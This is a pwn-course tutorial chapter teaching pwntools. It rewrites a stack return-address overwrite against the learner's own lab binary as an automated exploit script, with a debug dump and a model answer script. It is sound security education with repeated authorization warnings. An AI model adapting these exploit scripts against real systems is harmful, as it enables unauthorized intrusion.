Step 188. pwntools 101: Connections, p64, Payload Automation — From Hand Attacks to Scripts

Step 188. pwntools 101: Connections, p64, Payload Automation — From Hand Attacks to Scripts

Level 3 — Pwn Track | Difficulty ★★★☆☆ | Estimated time: 4 hours

Prerequisites: you’ve finished Steps 186–187. You’ve succeeded at the RET overwrite attack by hand, and you know padding and little-endian. You know basic Python syntax and venv.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: a WSL Ubuntu terminal, python3, Step 186’s vuln binary. The measured environment is Ubuntu 24.04, Python 3.12.3, pwntools 4.15.0.
  • Caution: pwntools is the standard tool of CTF and pwn research — and at the same time a real attack-automation tool. The target of every script you build today is strictly that one binary you compiled yourself in Step 186.

In Step 186 we attacked by piping a one-line Python payload generator. It worked, but we flipped addresses by hand (\x96\x11\x40…) and force-joined output and input through pipes. pwntools is a Python library for this entire process. p64() flips addresses, process() and sendline() run the process and converse with it, and ELF() finds symbol addresses. Today we rewrite Step 186’s hand attack as a script. CTF pwn problems are, in effect, an extension of this script-writing game.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Install pwntools in a venv and verify the installation
  • Move between addresses and byte sequences with p64()/u64(), handling little-endian automatically
  • Run a target with process() and converse with recvuntil()/sendline()
  • Read symbol addresses with ELF() and eliminate hardcoding
  • Know what cyclic()/cyclic_find() are for, and watch exchanged bytes with context.log_level

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Python 3.12 (venv), WSL Ubuntu bash, pwntools 4.15.0
Today’s commands/APIs python3 -m venv venv, pip install pwntools, from pwn import *, process()/remote(), recvuntil()/sendline(), p64()/u64(), ELF() and e.symbols[], cyclic()/cyclic_find(), context.log_level = 'debug', pwn checksec
Concepts needed Little-endian packing, bytes vs. strings (b”), tubes, symbols

2-1. pwntools — The Standard Toolbox on the pwn Workbench

pwntools is the de facto standard Python library in CTF’s pwn category. It does four jobs. ① It connects to a local process or a remote server through the same interface (process/remote), ② it packs addresses into little-endian bytes (p64), ③ it reads a binary’s symbols and protections (ELF, checksec), and ④ it makes pattern strings for measuring padding length (cyclic).

Everything we did by hand in Step 186 — finding addresses with nm, flipping bytes, joining pipes — maps one-to-one onto a function in this toolbox.

2-2. p64 — Automating the Little-Endian Flip

p64(0x401196) packs one address into an 8-byte little-endian byte sequence — the very job we did by hand making \x96\x11\x40\x00\x00\x00\x00\x00 in Step 186. The reverse direction is u64() — it reads 8 received bytes back into a number.

This one function eliminates half of an exploit’s typo-class failures. Remember it as "p is pack, u is unpack."

2-3. Tubes — The Conversation Channel to a Process

In pwntools, a connected target (process, remote socket) is called a tube. A tube’s basic verbs are four.

Method What it does
p.recvuntil(b'phrase') Wait for and receive output until that phrase appears
p.sendline(data) Send data with a newline appended
p.recvline() Receive one line
p.interactive() Hand control over to the human (when you’ve got a shell)

recvuntil is especially important. Waiting until the server prints "input: " and only then sending the payload — that’s timing, automated.

2-4. Bytes vs. Strings — The b” Rule

Everything pwntools sends and receives is bytes. In Python 3, a byte literal carries a b like b'...', and inside it you may write ASCII characters only. To wait for a prompt containing non-ASCII text (like the Korean prompts in our lab binaries), you must convert a string to bytes, e.g. '입력: '.encode(). In today’s practice you’ll meet the actual error raised when you break this rule (Wall 2).


3. Follow Along

3-1. Installation — pwntools in a venv

Install into a virtual environment (venv) so you don’t dirty the system Python.

mkdir -p ~/lab188 && cd ~/lab188
python3 -m venv venv
./venv/bin/pip install pwntools
Installing collected packages: ... pwntools
Successfully installed ... pwntools-4.15.0 ...

(Measured 2026-09-09. About thirty dependency packages install along with it. It may take a few minutes.)

How to read it: calling the venv’s pip directly by path, like ./venv/bin/pip, installs into the venv even without source venv/bin/activate. Running works the same way with ./venv/bin/python3. The one-line run in 3-2 doubles as the installation check.

3-2. p64/u64 — Confirming the Little-Endian Automation

./venv/bin/python3
>>> from pwn import *
>>> p64(0xdeadbeef)
b'\xef\xbe\xad\xde\x00\x00\x00\x00'
>>> p64(0x401196)
b'\x96\x11@\x00\x00\x00\x00\x00'
>>> u64(b'AAAAAAAA')
4702111234474983745
>>> hex(4702111234474983745)
'0x4141414141414141'

(Measured 2026-09-09.)

How to read the output: p64(0x401196)‘s result is \x96\x11@\x00... — exactly the byte sequence we wrote by hand in Step 186 (0x40 is merely displayed as the printable character ‘@’; it’s the same byte). u64(b'AAAAAAAA') is 0x4141414141414141 — the very number we saw at Step 186’s segfault scene. Hand-flipping is over, replaced by one function.

3-3. ELF — Automatic Symbol Address Reading

pwntools opens a binary and reads its symbols and protections.

>>> e = ELF('/root/lab186/vuln')
>>> hex(e.symbols['win'])
'0x401196'
[*] '/root/lab186/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    PIE:        No PIE (0x400000)
    Stack:      Executable
    ...

(Measured 2026-09-09.)

How to read the output: just constructing ELF() prints the binary’s protection report — the things we checked by hand with readelf and nm in Step 187. "No canary found / No PIE / Executable" — the three membranes we deliberately stripped are reported exactly. And e.symbols['win'] returns win’s address 0x401196 without nm. The need to hardcode addresses into payloads is gone.

Note: on the command line, ./venv/bin/pwn checksec binary shows just this report. Cross-check your Step 187 mission answers with this one line.

3-4. ★ The Exploit Script — Rewriting Step 186

Input (exploit.py)

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'

e = ELF('/root/lab186/vuln')
win_addr = e.symbols['win']

p = process('/root/lab186/vuln')
p.recvuntil('입력: '.encode())
payload = b'A' * 24 + p64(win_addr)
p.sendline(payload)
p.recvuntil(b'FLAG')
print(p.recvline())

Run

./venv/bin/python3 exploit.py
[x] Starting local process '/root/lab186/vuln'
[+] Starting local process '/root/lab186/vuln': pid 643
[DEBUG] Received 0x23 bytes:
    00000000  62 75 66 20  ec a3 bc ec  86 8c 3a 20  30 78 37 66  │buf │····│··: │0x7f│
    ...
[DEBUG] Sent 0x21 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  96 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000020  0a                                                  │·│
[DEBUG] Received 0x42 bytes:
    ...
    00000020  41 41 41 41  96 11 40 0a  46 4c 41 47  7b 79 6f 75  │AAAA│··@·│FLAG│{you│
    00000030  5f 63 6f 6e  74 72 6f 6c  5f 74 68 65  5f 72 69 70  │_con│trol│_the│_rip│
    00000040  7d 0a                                               │}·│
b'{you_control_the_rip}\n'
[*] Stopped process '/root/lab186/vuln' (pid 643)

(Measured 2026-09-09.)

How to read the output: three things to note.

  • The power of context.log_level = 'debug' — every byte exchanged is shown as a hex dump. Look at the Sent dump for our payload: twenty-four A’s (0x41), then 96 11 40 00 00 00 00 00 — the win address packed by p64 — then the newline 0a appended by sendline. 0x21 (33) bytes total.
  • The latter half of the Received dump46 4c 41 47 7b ... = "FLAG{you_control_the_rip}". What the program handed back to us.
  • The final printp.recvuntil(b'FLAG') consumed up to "FLAG", and recvline read and printed the remaining {you_control_the_rip}.

The same result as the hand attack (Step 186, 3-5), reproduced with one script — no address hardcoding, no pipes. This is the basic shape of a CTF pwn solution.

3-5. cyclic — Automating Padding Measurement

In Steps 185–186 we measured the padding of 24 with gdb. pwntools has a pattern generator for this measurement.

>>> cyclic(32)
b'aaaabaaacaaadaaaeaaafaaagaaahaaa'
>>> cyclic_find(0x61616162)
4

(Measured 2026-09-09.)

How to read the output: cyclic(32) makes a string whose four-character chunks are all different (aaaa, baaa, caaa…). Feed it as input, and when the program dies, read the overwritten RET value (e.g., 0x61616162) in gdb — cyclic_find back-computes the distance: "that value is 4 bytes from the start." Measuring with a pattern instead of reading offsets in gdb.

Today we stop at knowing what it’s for. We already know the gdb measurement method, and this pattern technique is a convenient shortcut limited to targets that read input as strings.

3-6. remote — The Same Face for Local and Remote

In today’s script, change only the one line process(...) to this:

p = remote('ctf.example.com', 1337)

The rest of the code — recvuntil, sendline, p64 — talks to a remote server unchanged. Completing the attack locally, then swapping only the connection part to point at the real server — this is the standard CTF pwn workflow. We don’t run it today — only when there’s an authorized server.


4. Missions & Exercises

Mission — A Fully Automated Exploit Script

Targeting your vuln binary from Step 186’s mission (the changed buf size + secret function version):

  1. Write a pwntools script — but keep the payload’s padding length and function name as variables at the top of the script (no magic-number hardcoding)
  2. Make it read the target address automatically with ELF() and e.symbols[]
  3. Match the conversation with recvuntil/sendline and capture and print the flag
  4. Run with context.log_level = 'debug' and leave a capture or comment with the address bytes (little-endian) underlined in the Sent dump
  5. In a comment at the top of the script, write "the target binary’s protections" from pwn checksec results
  6. (Challenge) Write a separate script that measures the padding length automatically with cyclic, and verify it matches the variable in step 1

Exercises

Exercise 1. p64(0x401196) printed as b’\x96\x11@\x00\x00\x00\x00\x00′. Why does the middle byte show as ‘@’ instead of \x40, and is it the same byte?

Exercise 2. Why must you not put non-ASCII characters in a byte literal like recvuntil(b'입력: '), and how do you fix it?

Exercise 3. Name two practical benefits of using e.symbols['win']. (Hint: source edits, portability)

Exercise 4. Explain the principle of measuring padding length with cyclic(32)‘s pattern, together with "the value read when the program dies."


5. Model Answers & Completion Criteria

Mission Model Answer

An example finished script (structure verified by measurement on 2026-09-09):

#!/usr/bin/env python3
# Target: /root/lab186/vuln — checksec: No canary / NX off (Stack: Executable) / No PIE
from pwn import *

BINARY  = '/root/lab186/vuln'
FUNC    = 'win'        # target function name
PADDING = 24           # buf-to-RET distance measured with gdb

context.log_level = 'debug'

e = ELF(BINARY)
p = process(BINARY)
p.recvuntil('입력: '.encode())
p.sendline(b'A' * PADDING + p64(e.symbols[FUNC]))
p.recvuntil(b'FLAG')
print(p.recvline())

How to verify: ① the script must run in another environment by changing only the binary path (deduct points if the hardcoded address 0x401196 remains in the code). ② the flipped address in the form 96 11 40 00 00 00 00 00 must be visible in the Sent part of the debug dump. ③ the checksec comment must match actual pwn checksec output.

Exercise Answers

Answer 1. Python’s bytes display shows printable ASCII bytes as their characters. 0x40 is ‘@”s code, so it displays that way, but the byte going into memory is 0x40 itself. \x40 and @ are two notations of the same byte.

Answer 2. Python 3 byte literals (b’…’) can directly hold ASCII characters only; putting in non-ASCII characters raises SyntaxError: bytes can only contain ASCII literal characters (measured 2026-09-09). For a non-ASCII prompt, convert the string to UTF-8 bytes, like '입력: '.encode().

Answer 3. ① Even if you edit the source and function addresses shift, the script needs no fixing — resilience to recompilation. ② The same problem in another environment (different compiler, different addresses) runs with the script as-is — portability. Hardcoding is "one-time, for this binary"; reading symbols is "a reusable tool."

Answer 4. cyclic’s pattern is a sequence of four-character combinations that differ by position, so if you read the overwritten RET value, that combination’s distance from the start is itself the padding length. Example: feed cyclic(64) instead of A’s, kill the program, read the overwritten value (e.g., 0x61616162) in gdb’s bt, and pass it to cyclic_find(0x61616162) to get 4 — a back-computation like "it was overwritten starting from byte 4, not byte 24." It automates offset calculation with a string pattern.

Completion Criteria Checklist

  • [ ] I installed pwntools in a venv and checked the version
  • [ ] I confirmed little-endian by moving between addresses and bytes with p64/u64
  • [ ] I read ELF()’s automatic report (protections) and cross-checked it against Step 187 knowledge
  • [ ] I wrote a script that converses with a target using process/recvuntil/sendline
  • [ ] I removed address hardcoding with e.symbols[]
  • [ ] I watched Sent/Received bytes with context.log_level=’debug’
  • [ ] I can explain what cyclic and cyclic_find are for
  • [ ] Mission: I completed the fully automated exploit script

6. Common Pitfalls & Fixes

Wall 1. ModuleNotFoundError on from pwn import *

Symptom: ModuleNotFoundError: No module named 'pwn'
Cause: you ran with a Python outside the venv, or the install went into a different environment.
Fix: run with the venv’s Python from 3-1 — ./venv/bin/python3 exploit.py. If which python3 doesn’t point at the venv, activation (source venv/bin/activate) didn’t happen.

Wall 2. bytes can only contain ASCII literal characters

Symptom: this error appears on a byte literal containing non-ASCII text (measured 2026-09-09):

    p.recvuntil(b'입력: ')
                ^^^^^^^
SyntaxError: bytes can only contain ASCII literal characters

Cause: b’…’ literals can directly hold ASCII characters only. Non-ASCII characters are multiple bytes in UTF-8 and are banned.
Fix: convert the string to bytes with '입력: '.encode(). The reverse direction is .decode(). The most frequently met Python error in pwntools work.

Wall 3. It hangs forever at recvuntil

Symptom: the script stops at recvuntil with no response at all.
Cause: the phrase you’re waiting for differs from the target’s actual output by even one character — whitespace, newline, encoding differences.
Fix: turn on context.log_level = 'debug' and check the bytes that actually arrived in the Received dump. The rule is to copy the phrase you wait for from the dump, not from your imagination. You can also set a timeout: p.recvuntil(b'...', timeout=3).

Wall 4. The attack works but reading the flag fails

Symptom: win executed, but the script ends without reading the flag.
Cause: a timing problem with when you read. You read before the whole FLAG arrived, or you didn’t read the remainder after recvuntil(b’FLAG’).
Fix: split it into two stages like 3-4: "wait until FLAG, then read the tail with recvline." If timing is fuzzy, p.recvall(timeout=2) to take all remaining output at once also works.

Wall 5. It works locally but fails on remote

Symptom: success with process, failure after switching to remote.
Cause: the remote server may have a different binary (different addresses, different padding) and different protections. And remote is a real-world environment with ASLR on.
Fix: this is why in the field you download and analyze the binary file the server provides. Don’t forget today’s script is "for local verification." Use remote only on authorized CTF/wargame servers.


7. Summary

Today’s Concepts

Concept One-line explanation
pwntools The standard Python library for pwn attack scripts
Tube A connection object handling processes and sockets through one interface
p64 / u64 Address ↔ little-endian 8-byte converters (pack/unpack)
ELF().symbols Automatic symbol address reading from a binary — escape from hardcoding
cyclic / cyclic_find Tools that back-compute padding length from a positional pattern string
context.log_level Set to ‘debug’ and every exchanged byte becomes visible — a monitoring window

Today’s Commands & APIs

Code/command What it does
python3 -m venv venv Create an isolated install environment
./venv/bin/pip install pwntools Install pwntools into the venv
p = process('./vuln') Run and connect to a local process
p = remote('host', port) Remote connection (authorized targets only)
p.recvuntil(...) / p.sendline(...) Wait for a phrase / send with a newline
p.interactive() Hand control to the human
pwn checksec binary One-line protection reconnaissance

An Instinct More Important Than Commands

Today’s core is not the library but the shape of the work. The moment a hand-done attack becomes a script, the attack becomes an engineering artifact — "reproducible, explainable to others, improvable." The reason a skilled player’s script doesn’t look long in CTF: four pieces — process, recvuntil, p64, ELF — finish the skeleton.

And remember. This script’s single remote line is also the line dividing a local toy from an actual intrusion. Tools are neutral, but targets are not. Authorized problems and your own lab — inside those, this tool is the best teacher.


Once every box is checked, Step 188 is complete. Click the checkbox in the sidebar to save your progress.